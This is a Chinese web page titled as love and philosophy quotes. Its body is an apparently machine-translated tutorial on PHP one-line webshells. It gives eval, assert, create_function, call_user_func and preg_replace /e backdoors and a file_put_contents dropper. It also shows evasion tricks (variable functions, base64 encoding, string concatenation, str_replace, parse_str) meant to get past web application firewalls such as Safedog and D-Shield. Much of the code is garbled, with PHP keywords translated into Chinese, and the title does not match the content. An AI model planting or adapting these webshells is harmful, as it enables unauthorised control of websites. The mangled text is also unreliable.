感悟幸福爱情哲理句子
发布时间:2019-08-02 21:41:02
作者:xhs
感悟幸福爱情哲理句子:什么是一句话特洛伊木马一句话特洛伊木马是一个只需要一行代码的单行特洛伊木马。为了绕过WAF检测,一个一句话的特洛伊木马以无数种形式出现,但其本质是相同的:特洛伊木马函数执行我们发送的命令。我们如何发送命令,以及如何执行我们发送的命令?我们可以通过get、post和cookie向网站提交数据。一句话特洛伊木马程序使用$\u get[“]、$\u post[“]和$\u cookie[“]接收我们传递的数据,并将接收到的数据传递给执行一句话特洛伊木马中命令的函数以执行该命令。因此,大多数经典的一句话特洛伊木马只有两部分,一部分是可以执行代码的功能部分,另一部分是接收数据的部分。例如:<?php eval(@$_post['a']);?>eval是一个执行命令的函数,而$_post['a']是它接收的数据。eval函数将接收到的数据作为php代码执行。这允许我们有一个插入了一句特洛伊木马的网站来执行我们传递的任何PHP语句。这就是一句话特洛伊木马的威力。例子:一个phpinfo。PNG由于特洛伊木马程序正在接收来自POST请求($_post['a'])的“A”数据,因此我们必须发布数据并将要执行的代码分配给“A”。如果特洛伊木马的post替换了get,那么我们将需要向get方法发送“a”(例如:hyperlink http://127.0.0.1/test.php)?我不会再给你看了。使用其他函数生成一句话特洛伊木马断言函数<?php断言(@$\u post['a']);?>创建函数<?PHP$fun=创建_函数(“”,$_post['a']);$fun();?>从用户传递的数据生成函数fun(),然后执行fun()。调用用户函数回调函数<?PHP@调用_user_func(assert,$_post['a']);?>函数调用用户可以调用其他函数。调用的函数是call-user-func的第一个函数,调用的函数的参数是call-user-func的第二个参数。这样的语句也可以完成一个句子特洛伊木马。一些被waf拦截的特洛伊木马可以使用此功能绕过waf。preg_替换功能<?PHP@preg_replace(“abcde/e”,$u post[“a”],“abcdefg”);?>此函数最初使用正则表达式替换限定字符串,但它有一个函数——可执行命令。此函数的第一个参数是一个PHP格式的正则表达式,位于两个“/”s之间。如果在表达式的末尾添加“e”,则该函数的第二个参数将作为代码执行。文件放置目录功能使用函数生成特洛伊木马<?PHP$test=<?php$a=$_post[“cmd”];断言($a);?>;文件_Put_Contents(毛里求斯php“”,$test);?>功能:生成文件,第一个参数为文件名,第二个参数为文件内容。如何在WAF中获得一句话的特洛伊木马?WAF是网站的防火墙。例如,安全狗是一种WAF。WAF通常使用关键字来确定它是否是单句特洛伊木马,但是单句特洛伊木马有许多变体,WAF不可能截获所有这些变体。要绕过WAF,您需要掌握各种PHP技巧,掌握这些技巧,结合这些技巧设计自己的一句话特洛伊木马。PHP变量函数<?PHP$A=“评估”;$A(@$_post['A']);?>第三行使用变量函数$A(存储在函数名eval中的变量),您可以直接用变量替换函数名。PHP变量<?PHP$bb=“评估”;$A=“bb”。a a($$u post['a']);?>看这个句子可以理解上面的语句:$$aa=$($aa)=$(“bb”)=$bb=“eval”str_替换函数<?PHP$A=str_replace(“waldo”,“,”ewaldova”);$A(@$_post['A']);?>功能功能:在第三个参数中,找到第一个参数,替换第二个参数。这里的第二个参数是一个空字符串,相当于删除“waldo”。base64解码功能<?PHP$A=base64_解码(“zxzhba==”)$A($_Post['A']);?>这里是base64解密函数,“zxzhba==”是eval的base64加密。“。”操作人员<?PHP$A=“E”。V”。$B=“A”。L”。C=$$A.$B;($C$U Post[‘A’]);?>parse_str函数<?PHP$str=“a=评估”;分析字符串($str);$A($_Post['A']);?>执行此函数时,将生成字符串“eval”的变量$A。更多提示…更多的战斗,更多的谷歌!这六种技术中的每一种都不能单独绕过WAF,但是当与第三点中提到的功能结合在一起时,您可以很容易地愚弄WAF。提示:使用一个句子特洛伊木马时,可以在函数前面使用@符号。这个符号可以防止PHP语句显示错误消息,使它们更加神秘。又一颗栗子<?PHP功能趣味()返回$_post[‘A’];@preg_replace(“/test/e”,fun(),“测试测试测试”);?>另一个技巧是:创建函数fun(),它返回帖子中的“a”。我的例子显然是一个一句话的特洛伊木马,但是安全狗不能摆脱它,D-Shield也不能。感悟幸福爱情哲理句子
版权声明:本文内容由互联网用户投稿整理编辑发布,不拥有所有权,不承担应有相关法律责任。如果文章、图片有涉嫌抄袭的内容,请发送到邮箱举报,且提供抄袭的相关证据,一但查实,会在24小时删除涉嫌侵权内容。